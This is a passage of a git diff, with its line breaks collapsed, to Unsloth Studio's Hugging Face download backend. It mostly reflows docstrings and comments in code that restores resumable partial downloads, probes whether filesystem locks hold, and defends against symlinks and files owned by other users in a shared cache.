1.18 only because no resumer exists, so restoring one brings them back into force."""from __future__ import annotations@@ -58,17 +22,12 @@ LAST_STOCK_RESUMABLE_VERSION = (1, 17)# The newest major whose internals this has been read against. A 2.x is not assumed to look alike.MAX_SUPPORTED_MAJOR = 1-# What flock reports when another holder has the lock, and nothing else: EACCES belongs to fcntl,-# and ENOLCK / EOPNOTSUPP mean this filesystem cannot lock at all.+# What flock reports when another holder has the lock, and nothing else: EACCES belongs to fcntl, and ENOLCK / EOPNOTSUPP mean this filesystem cannot lock at all._CONTENDED = frozenset({errno.EWOULDBLOCK, errno.EAGAIN})-# An allowlist rather than a list of network types: a FUSE mount reports whatever name its daemon-# chose and, unless it negotiates FUSE_FLOCK_LOCKS, the kernel answers flock locally, so-# fuse.rclone or fuse.s3fs over shared object storage would pass a network-name test. An-# unrecognised or blank type keeps the stock writer.+# An allowlist rather than a list of network types: a FUSE mount reports whatever name its daemon chose and, unless it negotiates FUSE_FLOCK_LOCKS, the kernel answers flock locally, so fuse.rclone or fuse.s3fs over shared object storage would pass a network-name test. An unrecognised or blank type keeps the stock writer._LOCAL_FSTYPES = frozenset({- # Linux"bcachefs","btrfs","ext2",@@ -87,13 +46,11 @@ _LOCAL_FSTYPES = frozenset("overlayfs","ramfs","tmpfs",- # Removable and cross-platform volumes"exfat","fat","fat32","msdos","vfat",- # macOS"apfs","hfs","hfsplus",@@ -127,16 +84,7 @@ def _hub_version() -> tuple[int, ...]:def _probe_dir(hub_cache: Optional[Path | str] = None) -> Optional[Path]:- """The cache whose filesystem decides, defaulting to the one the worker will use.-- ``constants.HF_HUB_CACHE`` is resolved at import and moving the cache in Settings does not- rewrite the live process (see ``hub/services/download_lifecycle.py``), so probing it would- judge a different filesystem than the partial lands on. The constant is the fallback for- callers outside Unsloth.-- *hub_cache* names a specific root instead. Unsloth remembers several, and a partial sitting in- one of them is governed by that root's filesystem, not by whichever is currently selected.- """+ """The cache whose filesystem decides, defaulting to the one the worker will use. ``constants.HF_HUB_CACHE`` is resolved at import and moving the cache in Settings does not rewrite the live process (see ``hub/services/download_lifecycle.py``), so probing it would judge a different filesystem than the partial lands on; the constant is the fallback for callers outside Unsloth. *hub_cache* names a specific root instead, since Unsloth remembers several and a partial sitting in one of them is governed by that root's filesystem, not by whichever is currently selected."""root = Noneif hub_cache is not None:root = Path(hub_cache)@@ -154,8 +102,7 @@ def _probe_dir(hub_cache: Optional[Path | str] = None) -> Optional[Path]:logger.debug("resumable partials: no hub cache to probe (%s)", exc)return Noneif hub_cache is not None:- # Asked about a named root, so only report on one that is there: creating it would resurrect a cache- # the user detached, and an absent root holds no partials to judge.+ # Asked about a named root, so only report on one that is there: creating it would resurrect a cache the user detached, and an absent root holds no partials to judge.return root if root.is_dir() else Nonetry:root.mkdir(parents = True, exist_ok = True)@@ -176,12 +123,7 @@ class _ProbeUnavailable(Exception):def _device_at(directory: str) -> int:- """The device the path is mounted from, which changes when a different filesystem replaces it.-- Part of the probe cache key: the path alone is not identity. An external cache can be unmounted- and something else mounted at the same name, and a verdict about the old filesystem says- nothing about the new one.- """+ """The device the path is mounted from, which changes when a different filesystem replaces it. Part of the probe cache key: the path alone is not identity, since an external cache can be unmounted and something else mounted at the same name, and a verdict about the old filesystem says nothing about the new one."""try:return os.stat(directory).st_devexcept OSError as exc:@@ -195,12 +137,7 @@ def _filesystem_is_local(directory: str) -> bool:@lru_cache(maxsize = 8)def _filesystem_is_local_on(directory: str, device: int) -> bool:- """The cached half, keyed on the mounted device as well as the path.-- A probe here cannot see another client, and NFS mounted ``-o local_lock=flock`` keeps flock- locks client-local, so two hosts would each take the lock and neither would be refused. A mount- we cannot identify counts as not local: this decides whether to re-enable a shared writer.- """+ """The cached half, keyed on the mounted device as well as the path. A probe here cannot see another client, and NFS mounted ``-o local_lock=flock`` keeps flock locks client-local, so two hosts would each take the lock and neither would be refused. A mount we cannot identify counts as not local: this decides whether to re-enable a shared writer."""path = Path(directory).resolve()if str(path).startswith("\\\\") or str(path).startswith("//"):return False@@ -232,21 +169,13 @@ def _lock_is_honoured_at(directory: str) -> bool:return _lock_is_honoured_on(directory, _device_at(directory))-# Keyed on the directory and the device, so moving the cache or swapping the mount under it re--# probes instead of reusing a verdict about a filesystem that is gone.+# Keyed on the directory and the device, so moving the cache or swapping the mount under it re-probes instead of reusing a verdict about a filesystem that is gone.@lru_cache(maxsize = 8)def _lock_is_honoured_on(directory: str, device: int) -> bool:- """Take the lock twice and require the second to be refused.-- Separate ``open()`` calls make separate open file descriptions and flock judges them- independently. Only contention counts as a refusal; a filesystem that grants both, or answers- anything else, leaves the stock writer in place. A probe that could not be run at all raises- instead, since a full disk or a briefly unwritable cache is not a measurement to remember.- """+ """Take the lock twice and require the second to be refused. Separate ``open()`` calls make separate open file descriptions and flock judges them independently. Only contention counts as a refusal; a filesystem that grants both, or answers anything else, leaves the stock writer in place. A probe that could not be run at all raises instead, since a full disk or a briefly unwritable cache is not a measurement to remember."""import fcntl- # A random, exclusively created file: the cache can be shared, and a predictable name lets another- # user pre-place a symlink an unguarded open would follow and truncate.+ # A random, exclusively created file: the cache can be shared, and a predictable name lets another user pre-place a symlink an unguarded open would follow and truncate.try:handle, name = tempfile.mkstemp(dir = directory, prefix = ".unsloth-flock-probe.")except Exception as exc: # noqa: BLE001 - nowhere to probe now is not nowhere to probe later@@ -298,13 +227,9 @@ def _exclusion_is_provable(hub_cache: Optional[Path | str] = None) -> bool:try:import fcntl # noqa: F401except ImportError:- # No fcntl on Windows, where huggingface_hub locks via msvcrt, and Windows has no way to establish- # who owns a partial (os.stat reports st_uid 0 for every file and reading an ACL needs pywin32),- # so another account on a shared NTFS cache could leave a partial with a chosen prefix and have- # the remaining range appended to it, which the size-only check would pass.+ # No fcntl on Windows, where huggingface_hub locks via msvcrt, and Windows has no way to establish who owns a partial (os.stat reports st_uid 0 for every file and reading an ACL needs pywin32), so another account on a shared NTFS cache could leave a partial with a chosen prefix and have the remaining range appended to it, which the size-only check would pass.return False- # _ProbeUnavailable is deliberately not caught: a probe that could not run is not an answer, and- # letting it out keeps any caller from caching one.+ # _ProbeUnavailable is deliberately not caught: a probe that could not run is not an answer, and letting it out keeps any caller from caching one.return _filesystem_is_local(str(directory)) and _lock_is_honoured_at(str(directory))@@ -319,13 +244,7 @@ def _hub_is_patchable() -> bool:def can_restore_partials(hub_cache: Optional[Path | str] = None) -> bool:- """Whether the shared-name writer is safe for partials under *hub_cache*.-- Read by the server to decide what to tell the UI and by the worker before it patches, so both- answer the same. Default is the cache in force, which is the one a download will write; pass a- root to ask about partials already sitting in a different remembered cache, whose filesystem- may lock differently from the selected one.- """+ """Whether the shared-name writer is safe for partials under *hub_cache*. Read by the server to decide what to tell the UI and by the worker before it patches, so both answer the same. Default is the cache in force, which is the one a download will write; pass a root to ask about partials already sitting in a different remembered cache, whose filesystem may lock differently from the selected one."""version = _hub_version()if not version or version <= LAST_STOCK_RESUMABLE_VERSION or version[0] > MAX_SUPPORTED_MAJOR:return False@@ -333,17 +252,7 @@ def can_restore_partials(hub_cache: Optional[Path | str] = None) -> bool:def _objection_to(descriptor: int) -> Optional[str]:- """Why the partial now open on *descriptor* must not be appended to, or ``None``.-- Judged on the descriptor rather than the path, so a swap between looking and opening cannot- slip a different file past: this is the thing that will actually be written.-- Ownership is the load-bearing one. Nothing about a plain file betrays who wrote it, so a- partial another account left is bytes of their choosing, and appending the server's remaining- range to a chosen prefix publishes a blob that is the right length and the wrong file.- huggingface_hub checks only the size afterwards, never the hash (huggingface_hub#3643), so- nothing downstream would notice.- """+ """Why the partial now open on *descriptor* must not be appended to, or ``None``. Judged on the descriptor rather than the path, so a swap between looking and opening cannot slip a different file past: this is the thing that will actually be written. Ownership is the load-bearing one: nothing about a plain file betrays who wrote it, so a partial another account left is bytes of their choosing, and appending the server's remaining range to a chosen prefix publishes a blob that is the right length and the wrong file, which huggingface_hub would not notice since it checks only the size afterwards, never the hash (huggingface_hub#3643)."""info = os.fstat(descriptor)if not stat.S_ISREG(info.st_mode):return "not a regular file"@@ -351,8 +260,7 @@ def _objection_to(descriptor: int) -> Optional[str]:return "hard linked from elsewhere"euid = getattr(os, "geteuid", None)if euid is None:- # No owner to compare against, so nothing here can be vouched for. Reachable only if the writer- # is ever enabled without geteuid; _exclusion_is_provable refuses that today.+ # No owner to compare against, so nothing here can be vouched for. Reachable only if the writer is ever enabled without geteuid; _exclusion_is_provable refuses that today.return "on a platform where ownership cannot be established"if info.st_uid != euid():return "owned by another user"@@ -360,17 +268,7 @@ def _objection_to(descriptor: int) -> Optional[str]:def _still_the_written_file(path: Path, written: os.stat_result) -> bool:- """Whether *path* still names the file described by *written*.-- ``(st_dev, st_ino)`` identifies a file; the pathname does not. Checked before publishing- because the move re-resolves the name, and a shared cache directory lets another account- unlink or rename the partial after the last byte is written and leave something else there.-- This narrows the window rather than closing it: nothing between this stat and the move is- atomic, and closing it properly needs a by-descriptor rename that Python does not expose- portably. Turning "an unrelated file is published as the model" into "the download is retried"- is the improvement available here.- """+ """Whether *path* still names the file described by *written*. ``(st_dev, st_ino)`` identifies a file; the pathname does not. Checked before publishing because the move re-resolves the name, and a shared cache directory lets another account unlink or rename the partial after the last byte is written and leave something else there. This narrows the window rather than closing it: nothing between this stat and the move is atomic, and closing it properly needs a by-descriptor rename that Python does not expose portably, so turning "an unrelated file is published as the model" into "the download is retried" is the improvement available here."""try:current = os.lstat(path)except OSError as exc:@@ -380,19 +278,7 @@ def _still_the_written_file(path: Path, written: os.stat_result) -> bool:def _open_stable_partial(path: Path) -> Optional[Any]:- """Open the stable partial for append, or ``None`` if it cannot be trusted.-- The 1.18 nonce made this name unguessable; restoring the 1.17 name makes it predictable again,- so on a cache another account can write, the entry can be pre-created and an unguarded ``"ab"``- would build the blob on top of whatever is there. ``O_NOFOLLOW`` refuses a symlink outright;- everything else is settled on the open descriptor by :func:`_objection_to`. The one look at the- path is for Windows, which has no ``O_NOFOLLOW`` and so cannot refuse a link at open time.-- A partial that fails any of it is removed and a clean one started. One that cannot be opened- at all is left untouched instead: ``EACCES`` from another account's ``0600`` file is not a- position from which to judge or delete it. Either way the caller falls back to the stock- writer, which invents its own name and cannot be steered.- """+ """Open the stable partial for append, or ``None`` if it cannot be trusted. The 1.18 nonce made this name unguessable; restoring the 1.17 name makes it predictable again, so on a cache another account can write, the entry can be pre-created and an unguarded ``"ab"`` would build the blob on top of whatever is there. ``O_NOFOLLOW`` refuses a symlink outright; everything else is settled on the open descriptor by :func:`_objection_to`, and the one look at the path is for Windows, which has no ``O_NOFOLLOW`` and so cannot refuse a link at open time. A partial that fails any of it is removed and a clean one started; one that cannot be opened at all is left untouched instead, since ``EACCES`` from another account's ``0600`` file is not a position from which to judge or delete it. Either way the caller falls back to the stock writer, which invents its own name and cannot be steered."""nofollow = getattr(os, "O_NOFOLLOW", 0)flags = os.O_WRONLY | os.O_CREAT | os.O_APPEND | nofollow | getattr(os, "O_BINARY", 0)for last_attempt in (False, True):@@ -414,8 +300,7 @@ def _open_stable_partial(path: Path) -> Optional[Any]:if exc.errno in (errno.ELOOP, errno.EMLINK):objection = "a symlink"else:- # Anything else is a partial this account cannot use and must not judge (another user's 0600 file- # answers EACCES, a directory EISDIR); raising would fail every attempt at the blob for good.+ # Anything else is a partial this account cannot use and must not judge (another user's 0600 file answers EACCES, a directory EISDIR); raising would fail every attempt at the blob for good.logger.warning("Cannot open the download partial at %s (%s); leaving it alone and ""letting the stock writer fetch the file.",@@ -444,8 +329,7 @@ def restore_resumable_partials() -> bool:try:permitted = can_restore_partials()except _ProbeUnavailable as exc:- # The worker calls this at import, so an escaping exception would take the whole download process- # down instead of leaving it the stock writer.+ # The worker calls this at import, so an escaping exception would take the whole download process down instead of leaving it the stock writer.logger.debug("resumable partials: %s", exc)return Falseif not permitted:@@ -471,8 +355,7 @@ def restore_resumable_partials() -> bool:if destination_path.exists() and not force_download:return- # A XET-backed repo still comes down over HTTP when hf_xet is absent or disabled, so what matters is- # whether XET will run, not whether its metadata exists.+ # A XET-backed repo still comes down over HTTP when hf_xet is absent or disabled, so what matters is whether XET will run, not whether its metadata exists.uses_xet = xet_file_data is not None and file_download.is_xet_available()if force_download or uses_xet:return stock(@@ -505,8 +388,7 @@ def restore_resumable_partials() -> bool:with opened as handle:resume_size = handle.tell()if expected_size is not None and resume_size > expected_size:- # Longer than the file is supposed to be, so there is nothing to resume from: a Range starting past- # the end answers 416 on every retry.+ # Longer than the file is supposed to be, so there is nothing to resume from: a Range starting past the end answers 416 on every retry.logger.warning("Restarting '%s': the partial holds %s bytes but the file is %s.",filename,@@ -534,8 +416,7 @@ def restore_resumable_partials() -> bool:expected_size = expected_size,tqdm_class = kwargs.get("tqdm_class"),)- # _chmod_and_move resolves the name again, so publish only if the name still holds the file that was- # actually written; otherwise another account could swap something in after the last write.+ # _chmod_and_move resolves the name again, so publish only if the name still holds the file that was actually written; otherwise another account could swap something in after the last write.if not _still_the_written_file(incomplete_path, written):logger.warning("Not publishing '%s': the partial at %s was replaced while it was being written.",diff --git a/studio/backend/hub/utils/state_dir.py b/studio/backend/hub/utils/state_dir.pyindex 35ad21e918f..f832576bd11 100644--- a/studio/backend/hub/utils/state_dir.py+++ b/studio/backend/hub/utils/state_dir.py@@ -3,25 +3,15 @@"""Filesystem layout for Hub download state.-State directory sits beside HF's cache (under Unsloth's own cache root)-so it survives ``huggingface-cli delete-cache`` and any other HF-side-cache lifecycle. Two subdirectories:+State sits beside HF's cache (under Unsloth's own cache root) so it survives ``huggingface-cli delete-cache`` and any other HF-side lifecycle:<studio cache>/hub-state/manifests/cache-<digest>/<key>.json expected-files manifestcancelled/cache-<digest>/<key>.json cancel marker-The cache digest isolates state for the same repo across selectable Hub caches.-The ``<key>`` mirrors HF's cache dir naming while the resulting manifest,-cancel-marker, and atomic-write temp filenames fit common filesystem basename-limits. Very long repo IDs use a stable hash in the state key:-- models--<owner>--<name> full snapshot- models--<owner>--<name>--variant--<variant> GGUF variant- datasets--<owner>--<name> dataset snapshot--Path accessors are read-only by default. Writers pass ``create=True`` explicitly.-All accessors return ``Optional[Path]`` and yield ``None`` when requested-directory creation fails; callers fall through to existing on-disk-only behavior.++The cache digest isolates state for the same repo across selectable Hub caches. The ``<key>`` mirrors HF's cache dir naming (models--<owner>--<name>, plus ``--variant--<variant>`` for a GGUF variant, datasets--<owner>--<name>) while keeping manifest, cancel-marker and atomic-write temp filenames inside common filesystem basename limits; very long repo IDs use a stable hash instead.++Path accessors are read-only unless a writer passes ``create=True``, and all return ``Optional[Path]``, yielding ``None`` when directory creation fails so callers fall through to existing on-disk-only behavior."""from __future__ import annotations@@ -90,8 +80,7 @@ def _subdir(name: str, *, create: bool = False) -> Optional[Path]:def repo_cache_basename(repo_type: RepoType, repo_id: str) -> str:- # Reject a bad repo_type at runtime: the Literal only guards statically and dynamic/JSON-sourced- # values slip past it, silently producing a wrong filename and a misclassified scanner row.+ # Reject a bad repo_type at runtime: the Literal only guards statically, and dynamic/JSON-sourced values slip past it into a wrong filename and a misclassified scanner row.if repo_type not in _VALID_REPO_TYPES:raise ValueError(f"repo_type must be one of {_VALID_REPO_TYPES}, got {repo_type!r}")return f"{repo_type}s--{repo_id.replace('/', '--')}".lower()@@ -107,13 +96,7 @@ def _state_filename_fits(entry_key: str) -> bool:def variant_is_hashed_fragment(variant: str) -> bool:- """Whether *variant* is a digest fragment rather than a variant name.-- An unreadable state file falls back to its own filename, which for a variant- :func:`_variant_fragment` had to hash is this digest. It names nothing: it- cannot be spelled back, and re-keying it would hash the digest again. Both- tags count, the older one carrying no "@".- """+ """Whether *variant* is a digest fragment rather than a variant name. An unreadable state file falls back to its own filename, which for a variant :func:`_variant_fragment` had to hash is this digest; it names nothing, since it cannot be spelled back and re-keying would hash the digest again. Both tags count, the older one carrying no "@"."""return bool(_HASHED_FRAGMENT.fullmatch(variant.strip().lower()))@@ -139,11 +122,7 @@ def _state_repo_key(legacy_repo_key: bool = False,legacy_hash_key: bool = False,) -> str:- """Return an injective write key, or the pre-migration key for reads.-- Repositories ending in ``variant`` otherwise alias a shorter repository's- legacy double-hyphen variant. Both collision sides use hashes for new state.- """+ """An injective write key, or the pre-migration key for reads. Repositories ending in ``variant`` otherwise alias a shorter repository's legacy double-hyphen variant, so both collision sides use hashes for new state."""base = repo_cache_basename(repo_type, repo_id)repo_fragment = base.partition("--")[2]variant_prefix = f"{base}--variant--"@@ -165,10 +144,7 @@ def variant_filename_prefix(legacy_repo_key: bool = False,legacy_hash_key: bool = False,) -> str:- """Lowercased prefix every variant-keyed state file for this repo shares.-- The single source the download_manifest enumerators match against, so the- scheme in :func:`_entry_key` cannot drift from them silently."""+ """Lowercased prefix every variant-keyed state file for this repo shares. The single source the download_manifest enumerators match against, so the scheme in :func:`_entry_key` cannot drift from them silently."""repo_key = _state_repo_key(repo_type,repo_id,@@ -185,8 +161,7 @@ def _variant_fragment(legacy_hash_key: bool = False,) -> str:normalized_variant = variant.strip().lower()- # Double-hyphen variants can alias a repository component plus the --variant-- delimiter, so give- # them an injective hashed fragment.+ # Double-hyphen variants can alias a repository component plus the --variant-- delimiter, so give them an injective hashed fragment.if _SAFE_VARIANT_FRAGMENT.fullmatch(normalized_variant) and (legacy_variant_keyor ("--" not in normalized_variant and not normalized_variant.startswith(_HASH_PREFIXES))@@ -198,12 +173,7 @@ def _variant_fragment(def variant_key_fragments(variant: str) -> tuple[str, ...]:- """Every ``--variant--`` fragment this variant can be stored under.-- A variant that cannot be spelled literally in a filename is stored hashed, so- a reader that recovers identity from the filename alone recovers the hash and- not the variant. Callers holding the variant string need these to match it.- """+ """Every ``--variant--`` fragment this variant can be stored under. A variant that cannot be spelled literally in a filename is stored hashed, so a reader recovering identity from the filename alone recovers the hash and not the variant; callers holding the variant string need these to match it."""fragments: list[str] = []for legacy_variant_key in (False, True):for legacy_hash_key in (False, True):@@ -254,24 +224,14 @@ def _entry_key(def normalize_hub_cache(hub_cache: str | Path) -> str:"""The one spelling of a hub cache path every state key is derived from.- ``resolve`` first so a junction, a mapped drive, an 8.3 short name or a- ``~`` all collapse onto the directory they name, then ``normcase`` so a- case-insensitive filesystem cannot spell the same directory two ways. Both- steps matter on Windows and neither is a no-op there; on POSIX ``normcase``- is identity and only ``resolve`` does any work.-- Kept here rather than in download_manifest so the digest and the manifest- reader cannot normalize differently: a resolved/unresolved pair of the same- directory used to be able to produce two ``cache-<digest>`` scopes, one of- which held the manifest while the other was the one looked in -- a complete- download that could never report complete.+ ``resolve`` first, so a junction, a mapped drive, an 8.3 short name or a ``~`` all collapse onto the directory they name, then ``normcase`` so a case-insensitive filesystem cannot spell one directory two ways. Both matter on Windows; on POSIX ``normcase`` is identity.++ Kept here rather than in download_manifest so the digest and the manifest reader cannot normalize differently: a resolved/unresolved pair of the same directory used to produce two ``cache-<digest>`` scopes, one holding the manifest and the other the one looked in, a complete download that could never report complete."""try:resolved = str(Path(hub_cache).expanduser().resolve(strict = False))except (OSError, RuntimeError, ValueError):- # Windows can refuse to resolve a path it can still open (OneDrive placeholders, a locked- # junction), so degrade to the expanded spelling; it has to be exactly what- # legacy_cache_scope_name builds, or the read side cannot recover this state.+ # Windows can refuse to resolve a path it can still open (OneDrive placeholders, a locked junction), so degrade to the expanded spelling; it has to be exactly what legacy_cache_scope_name builds or the read side cannot recover this state.try:resolved = str(Path(hub_cache).expanduser())except (OSError, RuntimeError, ValueError):@@ -289,34 +249,17 @@ def cache_scope_name(hub_cache: str | Path) -> str:def legacy_cache_scope_name(hub_cache: str | Path) -> str:- """The pre-``resolve`` scope name, for reads only.-- State written while ``resolve`` was unavailable (or by an older build) sits- under this digest. Readers probe it after the canonical one so a digest- change never orphans an existing manifest or cancel marker; writers only- ever use :func:`cache_scope_name`.-- Must be given the caller's own spelling of the path: handed an already- canonicalized one it returns the canonical digest and recovers nothing.- """+ """The pre-``resolve`` scope name, for reads only. State written while ``resolve`` was unavailable (or by an older build) sits under this digest, and readers probe it after the canonical one so a digest change never orphans a manifest or cancel marker; writers only ever use :func:`cache_scope_name`. Must be given the caller's own spelling of the path: handed an already canonicalized one it returns the canonical digest and recovers nothing."""try:normalized = os.path.normcase(str(Path(hub_cache).expanduser()))except (OSError, RuntimeError, ValueError):- # Guarded like normalize_hub_cache: this is fed the caller's raw spelling, so a homeless "~" that- # expanduser refuses would otherwise escape a plain read as a RuntimeError.+ # Guarded like normalize_hub_cache: this is fed the caller's raw spelling, so a homeless "~" that expanduser refuses would otherwise escape a plain read as a RuntimeError.normalized = os.path.normcase(str(hub_cache))return _cache_scope_digest(normalized)def cache_scope_names(hub_cache: str | Path) -> tuple[str, ...]:- """Every scope dir this cache's state can be filed under, canonical first.-- A single entry whenever the resolved and unresolved spellings of the path- agree, which is every path that resolves to itself -- so on POSIX, and on- Windows for anything that is not a junction, a mapped drive, an 8.3 short- name or a OneDrive redirect. The second entry is the read-side recovery for- state filed under the unresolved spelling.- """+ """Every scope dir this cache's state can be filed under, canonical first. A single entry whenever the resolved and unresolved spellings agree, which is every path that resolves to itself, so on POSIX and on Windows for anything that is not a junction, a mapped drive, an 8.3 short name or a OneDrive redirect. The second entry is the read-side recovery for state filed under the unresolved spelling."""canonical = cache_scope_name(hub_cache)legacy = legacy_cache_scope_name(hub_cache)return (canonical,) if legacy == canonical else (canonical, legacy)@@ -414,25 +357,15 @@ def marker_path(def manifests_dir(*, create: bool = False) -> Optional[Path]:- """Manifests subdirectory, created on demand. ``None`` on failure.-- Exposed for iter_variant_manifests, which enumerates the directory to find- every variant-keyed manifest for a repo (the path helpers above answer- "where would key X go" but not "what keys exist")."""+ """Manifests subdirectory, created on demand. ``None`` on failure. Exposed for iter_variant_manifests, which enumerates the directory to find every variant-keyed manifest for a repo (the path helpers above answer "where would key X go" but not "what keys exist")."""return _subdir(_MANIFESTS_SUBDIR, create = create)def cancelled_dir(*, create: bool = False) -> Optional[Path]:- """Cancel-marker subdirectory, created on demand. ``None`` on failure.-- See manifests_dir for why this iteration entry point is needed."""+ """Cancel-marker subdirectory, created on demand. ``None`` on failure. See manifests_dir for why this iteration entry point is needed."""return _subdir(_CANCELLED_SUBDIR, create = create)def workers_dir() -> Optional[Path]:- """Worker PID-breadcrumb subdirectory, created on demand. ``None`` on failure.-- Each live download worker drops one breadcrumb here so a backend that- restarts after a hard crash can reap workers it can no longer reach through- its in-memory registry."""+ """Worker PID-breadcrumb subdirectory, created on demand. ``None`` on failure. Each live download worker drops one breadcrumb here so a backend that restarts after a hard crash can reap workers it can no longer reach through its in-memory registry."""return _subdir(_WORKERS_SUBDIR, create = True)diff --git a/studio/backend/hub/workers/hf_download.py b/studio/backend/hub/workers/hf_download.pyindex be44372e096..3622963df85 100644--- a/studio/backend/hub/workers/hf_download.py+++ b/studio/backend/hub/workers/hf_download.py@@ -3,27 +3,9 @@"""HuggingFace Hub download worker, spawned as a subprocess so SIGKILL stops all chunk threads.-Resume safety---------------Downloads here MUST be single-stream sequential writers so the parent's-SIGKILL → restart loop can rely on ``os.path.getsize(.incomplete)`` to-compute the correct resume offset.--Enforced by:-- Setting ``HF_HUB_DISABLE_XET=1`` and ``HF_HUB_ENABLE_HF_TRANSFER=0`` on- the spawning side (see :mod:`hub.utils.download_registry`) for transport=http.-- Passing ``max_workers=1`` to ``snapshot_download`` so files download- serially, making the at-most-one-active-`.incomplete` invariant hold- globally and simplifying reasoning about partial state during a SIGKILL.-- Letting ``prepare_cache_for_transport`` purge any pre-existing- ``.incomplete`` blobs not provably from the same sequential writer.-- Restoring huggingface_hub's 1.17 append-mode writer where that is safe- (see :mod:`hub.utils.resumable_partials`); 1.18+ writes a process-unique- partial and unlinks it, which leaves this loop nothing to resume from.--If the final byte count doesn't match what HF declared, huggingface_hub-raises ``EnvironmentError`` ("Consistency check failed: …"); we surface-that on stderr so the watcher can show the exact message to the user.+Resume safety: downloads here MUST be single-stream sequential writers so the parent's SIGKILL then restart loop can rely on ``os.path.getsize(.incomplete)`` for the resume offset. Enforced by setting ``HF_HUB_DISABLE_XET=1`` and ``HF_HUB_ENABLE_HF_TRANSFER=0`` on the spawning side (see :mod:`hub.utils.download_registry`) for transport=http; passing ``max_workers=1`` to ``snapshot_download`` so files download serially and the at-most-one-active-`.incomplete` invariant holds globally; letting ``prepare_cache_for_transport`` purge any pre-existing ``.incomplete`` blobs not provably from the same sequential writer; and restoring huggingface_hub's 1.17 append-mode writer where safe (see :mod:`hub.utils.resumable_partials`), since 1.18+ writes a process-unique partial and unlinks it, leaving this loop nothing to resume from.++If the final byte count does not match what HF declared, huggingface_hub raises ``EnvironmentError`` ("Consistency check failed: ..."), which is surfaced on stderr so the watcher can show the exact message to the user."""from __future__ import annotations@@ -60,16 +42,14 @@ from hub.utils.gguf_plan import (from hub.utils.state_dir import RepoTypefrom hub.utils.resumable_partials import restore_resumable_partials-# Put huggingface_hub's 1.17 HTTP writer back: the SIGKILL then restart loop reads .incomplete for-# its resume offset, and 1.18+ leaves nothing to read.+# Put huggingface_hub's 1.17 HTTP writer back: the SIGKILL then restart loop reads .incomplete for its resume offset, and 1.18+ leaves nothing to read._PARTIALS_RESUMABLE = restore_resumable_partials()# typing.Union, not `str | bool | None`: an alias is evaluated on import and PEP 604 raises below 3.10.HfTokenArg = Union[str, bool, None]-# Bound the metadata fetch so a stalled connection fails the worker instead of hanging at 0%; the-# file download itself is governed by huggingface_hub's own timeout.+# Bound the metadata fetch so a stalled connection fails the worker instead of hanging at 0%; the file download itself is governed by huggingface_hub's own timeout._METADATA_REQUEST_TIMEOUT = 10.0_METADATA_RETRY_TIMEOUT = 30.0_METADATA_RETRY_DELAY = 1.0@@ -101,9 +81,7 @@ def _parent_poll_seconds() -> float:def _protected_blob_hashes() -> frozenset[str]:- """Blob hashes a concurrent same-repo peer is writing (passed by the backend- as a plain env list). Excluded from this worker's purge so a shared- ``.incomplete`` (e.g. a bundled mmproj) is never deleted under the peer."""+ """Blob hashes a concurrent same-repo peer is writing (passed by the backend as a plain env list). Excluded from this worker's purge so a shared ``.incomplete`` (e.g. a bundled mmproj) is never deleted under the peer."""raw = os.environ.get("UNSLOTH_PROTECTED_BLOB_HASHES", "")return frozenset(h for h in raw.split(",") if h)@@ -111,16 +89,9 @@ def _protected_blob_hashes() -> frozenset[str]:def _parent_is_alive(parent_pid: int) -> bool:"""Whether the recorded parent (the backend) is still running.- Liveness ONLY: ``os.kill(pid, 0)`` on POSIX, an ``OpenProcess`` handle on- Windows, against the *recorded* PID (never os.getppid(), so POSIX- reparenting to init after the backend dies still resolves as dead). Probe- ambiguity is treated as alive so a transient error never kills a healthy- download.+ Liveness ONLY: ``os.kill(pid, 0)`` on POSIX, an ``OpenProcess`` handle on Windows, against the *recorded* PID (never os.getppid(), so POSIX reparenting to init after the backend dies still resolves as dead). Probe ambiguity is treated as alive so a transient error never kills a healthy download.- We deliberately do NOT compare psutil ``create_time()`` for PID-reuse- detection: it isn't stable across reads on some platforms, so an exact match- can spuriously kill a live download. PID-reuse after parent death is covered- by the boot-time orphan reaper.+ Deliberately does NOT compare psutil ``create_time()`` for PID-reuse detection: it is not stable across reads on some platforms, so an exact match can spuriously kill a live download. PID-reuse after parent death is covered by the boot-time orphan reaper."""if sys.platform == "win32":import ctypes@@ -154,8 +125,7 @@ def _parent_is_alive(parent_pid: int) -> bool:def _terminate_orphaned_self() -> None:- # Hard exit from the watchdog thread: a self-SIGTERM would be deferred while the main thread is GIL-- # blocked in a C socket read, and the partial resumes byte-exact with atomic marker writes.+ # Hard exit from the watchdog thread: a self-SIGTERM would be deferred while the main thread is GIL-blocked in a C socket read, and the partial resumes byte-exact with atomic marker writes.try:print("Parent process exited; stopping orphaned download worker.",@@ -237,8 +207,7 @@ def _dataset_info_with_retry(repo_id: str, hf_token: str | None):)-# Tied to drain_stderr_excerpt's 500-byte head/tail window: listing every expected file would blow-# past it and lose the diagnostic.+# Tied to drain_stderr_excerpt's 500-byte head/tail window: listing every expected file would blow past it and lose the diagnostic._VERIFY_PATH_LIST_CAP = 10@@ -257,12 +226,7 @@ def _verify_completed_download(*,metadata_unavailable: bool = False,) -> None:- """Verify every manifest file is on disk at its declared size; exit nonzero- with a diagnostic if not.-- No-op when no manifest exists: the manifest write is best-effort, so absence- means "verification unavailable, trust snapshot_download's exit code".- """+ """Verify every manifest file is on disk at its declared size, exiting nonzero with a diagnostic if not. No-op when no manifest exists: the manifest write is best-effort, so absence means "verification unavailable, trust snapshot_download's exit code"."""from hub.utils import download_manifestmanifest = download_manifest.read_manifest(repo_type, repo_id, variant)@@ -307,9 +271,7 @@ def _verify_completed_download(def _preflight_disk_space(repo_type: str, repo_id: str, expected_files: list) -> None:- """Fail fast when the active HF cache filesystem can't hold what's left to- download. Fail-open: any inability to size the work or read free space skips- the check, so a real download is never blocked by an estimation gap."""+ """Fail fast when the active HF cache filesystem cannot hold what is left to download. Fail-open: any inability to size the work or read free space skips the check, so a real download is never blocked by an estimation gap."""import shutilfrom hub.utils.download_registry import existing_blob_bytes@@ -552,8 +514,7 @@ def _download_snapshot(repo_id: str, hf_token: str | None, mode: str) -> None:from hub.utils.download_registry import prepare_cache_for_transportfrom hub.utils import download_manifest- # One metadata fetch powers both the ignore-pattern decision and the manifest's expected_files; a- # failure is non-fatal and falls back to the legacy ignore set, losing verification only.+ # One metadata fetch powers both the ignore-pattern decision and the manifest's expected_files; a failure is non-fatal and falls back to the legacy ignore set, losing verification only.try:info = _model_info_with_retry(repo_id, hf_token)except Exception as e:@@ -567,8 +528,7 @@ def _download_snapshot(repo_id: str, hf_token: str | None, mode: str) -> None:download_manifest.clear_cancel_marker("model", repo_id, None)if info is not None:ignore_patterns, expected_files = 